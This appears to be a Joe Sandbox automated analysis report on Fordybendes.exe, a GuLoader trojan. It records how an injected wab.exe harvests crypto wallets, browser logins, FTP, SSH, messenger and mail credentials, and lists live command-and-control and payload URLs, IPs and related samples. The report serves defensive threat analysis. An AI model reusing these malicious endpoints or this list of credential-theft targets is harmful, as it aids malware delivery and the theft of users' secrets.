Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Exodus\
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Ethereum\keystore\
Source: powershell.exe, 00000002.00000002.2749161335.0000000008940000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sqlcolumnencryptionkeystoreprovider
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets\

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Program Files (x86)\Windows Mail\wab.exe	Key opened: HKEY_CURRENT_USER\Software\monero-project\monero-core			Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Key opened: HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt			Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Program Files (x86)\Windows Mail\wab.exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Program Files (x86)\Windows Mail\wab.exe

File opened: C:\Users\user\AppData\Roaming\filezilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\ElectrumG\wallets\	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-btcp\wallets\	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\Exodus Eden\	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\Jaxx\Local Storage\	Jump to behavior

Tries to steal Instant Messenger accounts or passwords

Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml			Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Jump to behavior

Source: Yara match	File source: 7.2.wab.exe.25b7acb1.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.wab.exe.25be6402.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.wab.exe.25b58cc4.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wab.exe PID: 1184, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Obfuscated Files or Information	2 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 Access Token Manipulation	1 Software Packing	2 Credentials in Registry	127 System Information Discovery	Remote Desktop Protocol	4 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	111 Process Injection	1 Timestomp	1 Credentials In Files	11 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	1 Clipboard Data	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	21 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	111 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Fordybendes.exe	55%	ReversingLabs	Win32.Trojan.GuLoader
Fordybendes.exe	63%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-console-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-console-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-datetime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-datetime-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-debug-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-debug-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-errorhandling-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-errorhandling-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-file-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-file-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-file-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-file-l1-2-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-file-l2-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-file-l2-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-handle-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-handle-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-heap-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-interlocked-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-interlocked-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-libraryloader-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-libraryloader-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-localization-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-localization-l1-2-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-memory-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-memory-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-namedpipe-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-namedpipe-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-processenvironment-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-processenvironment-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-processthreads-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-processthreads-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-processthreads-l1-1-1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-processthreads-l1-1-1.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-profile-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-profile-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-rtlsupport-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-rtlsupport-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-string-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-string-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-synch-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-synch-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-synch-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-synch-l1-2-0.dll	0%	Virustotal	Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
kenkyo.x24.eu	6%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
http://www.mozilla.com0	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://aka.ms/pscore6	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_Error	0%	URL Reputation	safe
http://crl.micro	0%	URL Reputation	safe
http://crl.thawte.com/ThawteTimestampingCA.crl0	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Avira URL Cloud	safe
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
http://d4hk.shop/DL341/index.php	0%	Avira URL Cloud	safe
https://kenkyo.x24.eu/wp-includes/ipfrjK171.bin	0%	Avira URL Cloud	safe
http://www.microsoft.co	0%	Avira URL Cloud	safe
https://kenkyo.x24.eu/KW/	0%	Avira URL Cloud	safe
http://d4hk.shop/	0%	Avira URL Cloud	safe
http://www.microsoft.co	1%	Virustotal		Browse
https://kenkyo.x24.eu/wp-includes/ipfrjK171.bin	12%	Virustotal		Browse
http://d4hk.shop/DL341/index.php	0%	Virustotal		Browse
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
https://kenkyo.x24.eu/wp-includes/ipfrjK171.binPW	0%	Avira URL Cloud	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
http://d4hk.shop/DL341/index.phpmR	0%	Avira URL Cloud	safe
https://kenkyo.x24.eu/wp-includes/ipfrjK171.binnW	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
http://d4hk.shop/DL341/index.phpDSU	0%	Avira URL Cloud	safe
https://kenkyo.x24.eu/	0%	Avira URL Cloud	safe
https://kenkyo.x24.eu/wp-includes/ipfrjK171.binYW	0%	Avira URL Cloud	safe
https://kenkyo.x24.eu/V	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	1%	Virustotal		Browse
https://kenkyo.x24.eu/	8%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
d4hk.shop	188.114.96.3	true	true		unknown
kenkyo.x24.eu	5.255.110.9	true	false	6%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://d4hk.shop/DL341/index.php	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://kenkyo.x24.eu/wp-includes/ipfrjK171.bin	true	12%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.2736182152.0000000005E17000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000002.00000002.2733172530.0000000004EF6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000002.00000002.2733172530.0000000004EF6000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ocsp.thawte.com0	wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.microsoft.co	powershell.exe, 00000002.00000002.2750384130.0000000008AC9000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000002.00000002.2736182152.0000000005E17000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.mozilla.com0	wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000002.00000002.2736182152.0000000005E17000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://kenkyo.x24.eu/KW/	wab.exe, 00000007.00000003.3084484144.0000000009AE6000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://aka.ms/pscore6	powershell.exe, 00000002.00000002.2733172530.0000000004DA1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	Fordybendes.exe, 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmp, Fordybendes.exe, 00000000.00000000.1372692101.000000000040A000.00000008.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
http://d4hk.shop/	wab.exe, 00000007.00000003.3148044488.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3148198449.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3148238012.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3148132480.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://kenkyo.x24.eu/wp-includes/ipfrjK171.binPW	wab.exe, 00000007.00000003.3084484144.0000000009AE6000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://d4hk.shop/DL341/index.phpmR	wab.exe, 00000007.00000003.3148044488.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3148198449.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3148238012.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3148132480.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000002.00000002.2733172530.0000000004EF6000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_Error	Fordybendes.exe, Fordybendes.exe, 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmp, Fordybendes.exe, 00000000.00000000.1372692101.000000000040A000.00000008.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://kenkyo.x24.eu/wp-includes/ipfrjK171.binnW	wab.exe, 00000007.00000003.3148044488.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3148198449.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3148238012.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3148132480.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3084484144.0000000009AE6000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.micro	powershell.exe, 00000002.00000002.2737386866.0000000007367000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2750384130.0000000008AC9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://d4hk.shop/DL341/index.phpDSU	wab.exe, 00000007.00000003.3148044488.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3148198449.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3148238012.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3148132480.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://kenkyo.x24.eu/	wab.exe, 00000007.00000003.3084516455.0000000009AC7000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000002.3198702705.0000000009AB3000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3084484144.0000000009AE6000.00000004.00000020.00020000.00000000.sdmp	true	8%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000002.00000002.2736182152.0000000005E17000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.2736182152.0000000005E17000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://kenkyo.x24.eu/wp-includes/ipfrjK171.binYW	wab.exe, 00000007.00000003.3084484144.0000000009AE6000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.2733172530.0000000004DA1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://kenkyo.x24.eu/V	wab.exe, 00000007.00000003.3084516455.0000000009AC7000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000002.3198702705.0000000009AB3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.96.3	d4hk.shop	European Union		13335	CLOUDFLARENETUS	true
5.255.110.9	kenkyo.x24.eu	Netherlands		60404	LITESERVERNL	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1501085
Start date and time:	2024-08-29 12:10:46 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Fordybendes.exe
Detection:	MAL
Classification:	mal100.phis.troj.spyw.evad.winEXE@11/62@2/2
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 100% Number of executed functions: 162 Number of non-executed functions: 26
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe
Excluded domains from analysis (whitelisted): www.bing.com, slscr.update.microsoft.com, 6.d.a.8.b.e.f.b.0.0.0.0.0.0.0.0.4.0.0.a.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target wab.exe, PID 1184 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
06:11:46	API Interceptor	41x Sleep call for process: powershell.exe modified
06:14:33	API Interceptor	1x Sleep call for process: wab.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	ORDER_38746_pdf.exe	Get hash	malicious	FormBook	Browse	www.begumnasreenbano.com/e8by/
	QUOTATION_AUGQTRA071244#U00b7PDF.scr	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/zbi9vNYx/download
	QUOTATION_AUGQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	filetransfer.io/data-package/kDY6Kvx6/download
	PO_GM_list_28082024202003180817418280824_purchase_doc_00000(991KB).bat	Get hash	malicious	FormBook, GuLoader, Remcos	Browse	www.katasoo.com/7qad/
	709876765465.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.coinwab.com/kqqj/
	http://allegro-8888.com/	Get hash	malicious	Unknown	Browse	allegro-8888.com/xml/index.html
	PO_112234525626823775.js	Get hash	malicious	Lokibot	Browse	werdotx.shop/Devil/PWS/fre.php
	nOyswc9ly2.dll	Get hash	malicious	Unknown	Browse	web.ad87h92j.com/4/t.bmp
	pXm5oVO3Go.exe	Get hash	malicious	Nitol	Browse	web.ad87h92j.com/4/t.bmp
	QUOTATION_JULQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/0U9QqTZ6/download
5.255.110.9	MGL6070111-PDF.exe	Get hash	malicious	Azorult, GuLoader	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
kenkyo.x24.eu	MGL6070111-PDF.exe	Get hash	malicious	Azorult, GuLoader	Browse	5.255.110.9

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LITESERVERNL	shindeVarm7-20240807-1525.elf	Get hash	malicious	Mirai	Browse	5.255.127.202
	shindeVarm7-20240805-2151.elf	Get hash	malicious	Mirai	Browse	5.255.127.202
	shindeVarm7.elf	Get hash	malicious	Mirai	Browse	5.255.127.202
	pn24_065.docx.doc	Get hash	malicious	Unknown	Browse	5.255.112.244
	pn24_065.docx.doc	Get hash	malicious	Unknown	Browse	5.255.112.244
	file.exe	Get hash	malicious	SystemBC	Browse	5.2.68.41
	MGL6070111-PDF.exe	Get hash	malicious	Azorult, GuLoader	Browse	5.255.110.9
	shindeVarm7.elf	Get hash	malicious	Mirai	Browse	5.255.127.202
	jXBjxhHQgR.exe	Get hash	malicious	CMSBrute	Browse	5.255.109.214
	Mcb5K3TOWT.exe	Get hash	malicious	Unknown	Browse	5.2.78.69
CLOUDFLARENETUS	G_24370-24396_SI2_S25_8658_MPO_SMARTEX_240715.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	172.67.74.152
	Offer 2024-30496.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	pagamento.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	Po#70831.exe	Get hash	malicious	Azorult	Browse	172.67.128.117
	payment PAGO 2974749647839452.js	Get hash	malicious	Unknown	Browse	162.159.130.233
	Document_pdf.exe	Get hash	malicious	FormBook	Browse	104.21.62.58
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	Great Wall Motor Sale Bank_Sift_Copy.Pdf.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	104.26.13.205
	https://my.manychat.com/r?act=179c825ab8add5f9e8bacb82e520a126&u=7459244230843026&p=108345799024755&h=708b8c96be&fbclid=IwZXh0bgNhZW0CMTAAAR07FD8Q65AMa77uMdYFT9FANMjTbvHV0BrVDR-o7WBQKwVAUtHYk2rnVVU_aem_OFd7GNUGsZzyslAWr711gg	Get hash	malicious	Unknown	Browse	104.17.25.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	AyyPZaqgaZ.exe	Get hash	malicious	Unknown	Browse	5.255.110.9
	Requesr for quotation-sample catalog.vbs	Get hash	malicious	FormBook, GuLoader	Browse	5.255.110.9
	Programa de Mentoring y Apoyo a la Internacionalizaci#U00f3n.exe	Get hash	malicious	GuLoader	Browse	5.255.110.9
	Teklif Talebi.exe	Get hash	malicious	GuLoader	Browse	5.255.110.9
	5649237431_23-10-23-08.49.23.0107.07.exe	Get hash	malicious	GuLoader	Browse	5.255.110.9
	Estado de cuenta y facturas..exe	Get hash	malicious	GuLoader	Browse	5.255.110.9
	fatura.exe	Get hash	malicious	GuLoader	Browse	5.255.110.9
	227979659-051450-sanlccjavap0004-13413.exe	Get hash	malicious	GuLoader	Browse	5.255.110.9
	227979659-051450-sanlccjavap0004-13413.exe	Get hash	malicious	GuLoader	Browse	5.255.110.9

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-console-l1-1-0.dll	Po#70831.exe	Get hash	malicious	Azorult	Browse
	FedEx Shipping Document.scr.exe	Get hash	malicious	Azorult	Browse
	FedEx Shipping Document.exe	Get hash	malicious	Azorult	Browse
	ACCEPT_014STSY529093.PDF.exe	Get hash	malicious	Azorult	Browse
	Launcher.exe	Get hash	malicious	Python Stealer, Stink Stealer	Browse
	SEL1685129 AMANOS.pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse
	ESPLS-RFQ_2400282.exe	Get hash	malicious	Azorult, GuLoader	Browse
	ESPLS-RFQ_2400282.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Order No. 203276712.exe	Get hash	malicious	Azorult, GuLoader	Browse
	HSBC_PAYMENT.exe	Get hash	malicious	Azorult, GuLoader	Browse

Created / dropped Files

